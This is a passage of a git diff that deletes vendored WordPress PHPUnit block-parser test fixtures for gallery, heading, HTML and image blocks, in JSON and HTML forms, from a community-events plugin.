"http://wptest.local/wp-content/uploads/2020/04/test-image-1024x683.jpg", - "alt": "", - "caption": "", - "href": "http://wptest.local/wp-content/uploads/2020/04/test-image-1024x683.jpg", - "id": 703, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [] - } - ] - }, - { - "name": "core/gallery", - "isValid": true, - "attributes": { - "images": [], - "ids": [], - "shortCodeTransforms": [], - "caption": "This gallery has a caption", - "imageCrop": true, - "fixedHeight": true, - "linkTo": "media", - "sizeSlug": "large", - "allowResize": false - }, - "innerBlocks": [ - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1-682x1024.jpg", - "alt": "", - "caption": "", - "href": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1-682x1024.jpg", - "id": 705, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1024x682.jpg", - "alt": "", - "caption": "", - "href": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1024x682.jpg", - "id": 704, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "http://wptest.local/wp-content/uploads/2020/04/test-image-1024x683.jpg", - "alt": "", - "caption": "", - "href": "http://wptest.local/wp-content/uploads/2020/04/test-image-1024x683.jpg", - "id": 703, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [] - } - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.parsed.json deleted file mode 100644 index f5968407..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.parsed.json +++ /dev/null @@ -1,123 +0,0 @@ -[ - { - "blockName": "core/gallery", - "attrs": { - "linkTo": "media" - }, - "innerBlocks": [ - { - "blockName": "core/image", - "attrs": { - "id": 705, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [], - "innerHTML": "\n\t\t
      \"\"
      \n\t", - "innerContent": [ - "\n\t\t
      \"\"
      \n\t" - ] - }, - { - "blockName": "core/image", - "attrs": { - "id": 704, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [], - "innerHTML": "\n\t\t
      \"\"
      \n\t", - "innerContent": [ - "\n\t\t
      \"\"
      \n\t" - ] - }, - { - "blockName": "core/image", - "attrs": { - "id": 703, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [], - "innerHTML": "\n\t\t
      \"\"
      \n\t", - "innerContent": [ - "\n\t\t
      \"\"
      \n\t" - ] - } - ], - "innerHTML": "\n\n", - "innerContent": [ - "\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - }, - { - "blockName": "core/gallery", - "attrs": { - "linkTo": "media" - }, - "innerBlocks": [ - { - "blockName": "core/image", - "attrs": { - "id": 705, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [], - "innerHTML": "\n\t
      \"\"
      \n\t", - "innerContent": [ - "\n\t
      \"\"
      \n\t" - ] - }, - { - "blockName": "core/image", - "attrs": { - "id": 704, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [], - "innerHTML": "\n\t
      \"\"
      \n\t", - "innerContent": [ - "\n\t
      \"\"
      \n\t" - ] - }, - { - "blockName": "core/image", - "attrs": { - "id": 703, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [], - "innerHTML": "\n\t
      \"\"
      \n\t", - "innerContent": [ - "\n\t
      \"\"
      \n\t" - ] - } - ], - "innerHTML": "\n\n", - "innerContent": [ - "\n\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.serialized.html deleted file mode 100644 index 0aed527c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.serialized.html +++ /dev/null @@ -1,27 +0,0 @@ - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.server.html deleted file mode 100644 index b522543d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.server.html +++ /dev/null @@ -1,15 +0,0 @@ - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.html deleted file mode 100644 index 7755d1dc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.html +++ /dev/null @@ -1,3 +0,0 @@ - -

      The Inserter Tool

      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.json deleted file mode 100644 index b72785dd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.json +++ /dev/null @@ -1,13 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/heading", - "isValid": true, - "attributes": { - "content": "The Inserter Tool", - "level": 2 - }, - "innerBlocks": [], - "originalContent": "

      The Inserter Tool

      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.parsed.json deleted file mode 100644 index e10209f2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.parsed.json +++ /dev/null @@ -1,20 +0,0 @@ -[ - { - "blockName": "core/heading", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n

      The Inserter Tool

      \n", - "innerContent": [ - "\n

      The Inserter Tool

      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.serialized.html deleted file mode 100644 index 55ce7350..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

      The Inserter Tool

      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.server.html deleted file mode 100644 index 1b47cd7b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -

      The Inserter Tool

      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.html deleted file mode 100644 index a55b391a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.html +++ /dev/null @@ -1,3 +0,0 @@ - -

      A picture is worth a thousand words, or so the saying goes

      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.json deleted file mode 100644 index f2073ff7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.json +++ /dev/null @@ -1,13 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/heading", - "isValid": true, - "attributes": { - "content": "A picture is worth a thousand words, or so the saying goes", - "level": 2 - }, - "innerBlocks": [], - "originalContent": "

      A picture is worth a thousand words, or so the saying goes

      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.parsed.json deleted file mode 100644 index be6bc63b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.parsed.json +++ /dev/null @@ -1,20 +0,0 @@ -[ - { - "blockName": "core/heading", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n

      A picture is worth a thousand words, or so the saying goes

      \n", - "innerContent": [ - "\n

      A picture is worth a thousand words, or so the saying goes

      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.serialized.html deleted file mode 100644 index 1212bf83..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

      A picture is worth a thousand words, or so the saying goes

      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.server.html deleted file mode 100644 index b99dc3b8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -

      A picture is worth a thousand words, or so the saying goes

      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.html deleted file mode 100644 index 4824e6e3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.html +++ /dev/null @@ -1,4 +0,0 @@ - -

      Some HTML code

      -This text will scroll from right to left - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.json deleted file mode 100644 index cd7cf91f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/html", - "isValid": true, - "attributes": { - "content": "

      Some HTML code

      \nThis text will scroll from right to left" - }, - "innerBlocks": [], - "originalContent": "

      Some HTML code

      \nThis text will scroll from right to left" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.parsed.json deleted file mode 100644 index adb0cd44..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.parsed.json +++ /dev/null @@ -1,20 +0,0 @@ -[ - { - "blockName": "core/html", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n

      Some HTML code

      \nThis text will scroll from right to left\n", - "innerContent": [ - "\n

      Some HTML code

      \nThis text will scroll from right to left\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.serialized.html deleted file mode 100644 index 8abffc38..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.serialized.html +++ /dev/null @@ -1,4 +0,0 @@ - -

      Some HTML code

      -This text will scroll from right to left - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.server.html deleted file mode 100644 index 819264ff..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.server.html +++ /dev/null @@ -1,4 +0,0 @@ - -

      Some HTML code

      -This text will scroll from right to left - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.html deleted file mode 100644 index eda66356..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.json deleted file mode 100644 index 4369150f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.json +++ /dev/null @@ -1,15 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://cldup.com/uuUqE_dXzy.jpg", - "alt": "", - "caption": "", - "linkDestination": "none" - }, - "innerBlocks": [], - "originalContent": "
      \"\"
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.parsed.json deleted file mode 100644 index d7e16a44..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.parsed.json +++ /dev/null @@ -1,20 +0,0 @@ -[ - { - "blockName": "core/image", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n
      \"\"
      \n", - "innerContent": [ - "\n
      \"\"
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.serialized.html deleted file mode 100644 index 5dfb0bac..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.server.html deleted file mode 100644 index 39d6cec9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.html deleted file mode 100644 index 908250d8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.json deleted file mode 100644 index 5d169589..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://cldup.com/uuUqE_dXzy.jpg", - "alt": "", - "caption": "", - "href": "http://localhost:8888/?attachment_id=7", - "linkDestination": "attachment" - }, - "innerBlocks": [], - "originalContent": "
      \"\"
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.parsed.json deleted file mode 100644 index fae66045..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.parsed.json +++ /dev/null @@ -1,22 +0,0 @@ -[ - { - "blockName": "core/image", - "attrs": { - "linkDestination": "attachment" - }, - "innerBlocks": [], - "innerHTML": "\n
      \"\"
      \n", - "innerContent": [ - "\n
      \"\"
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.serialized.html deleted file mode 100644 index f5ebb9af..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.server.html deleted file mode 100644 index be53c433..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.html deleted file mode 100644 index bfe40d19..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      Give it a try. Press the "really wide" button on the image toolbar.
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.json deleted file mode 100644 index f569bda2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://cldup.com/YLYhpou2oq.jpg", - "alt": "", - "caption": "Give it a try. Press the \"really wide\" button on the image toolbar.", - "align": "center", - "linkDestination": "none" - }, - "innerBlocks": [], - "originalContent": "
      \"\"
      Give it a try. Press the "really wide" button on the image toolbar.
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.parsed.json deleted file mode 100644 index 02ff95e3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.parsed.json +++ /dev/null @@ -1,22 +0,0 @@ -[ - { - "blockName": "core/image", - "attrs": { - "align": "center" - }, - "innerBlocks": [], - "innerHTML": "\n
      \"\"
      Give it a try. Press the "really wide" button on the image toolbar.
      \n", - "innerContent": [ - "\n
      \"\"
      Give it a try. Press the "really wide" button on the image toolbar.
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.serialized.html deleted file mode 100644 index 3410b04f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      Give it a try. Press the "really wide" button on the image toolbar.
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.server.html deleted file mode 100644 index 4f62db19..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      Give it a try. Press the "really wide" button on the image toolbar.
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.html deleted file mode 100644 index 353dc537..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.json deleted file mode 100644 index 735e5522..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://cldup.com/uuUqE_dXzy.jpg", - "alt": "", - "caption": "", - "href": "https://wordpress.org/", - "linkDestination": "custom" - }, - "innerBlocks": [], - "originalContent": "
      \"\"
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.parsed.json deleted file mode 100644 index a3625c6a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.parsed.json +++ /dev/null @@ -1,22 +0,0 @@ -[ - { - "blockName": "core/image", - "attrs": { - "linkDestination": "custom" - }, - "innerBlocks": [], - "innerHTML": "\n
      \"\"
      \n", - "innerContent": [ - "\n
      \"\"
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.serialized.html deleted file mode 100644 index 47357bea..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.server.html deleted file mode 100644 index a4a58054..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -
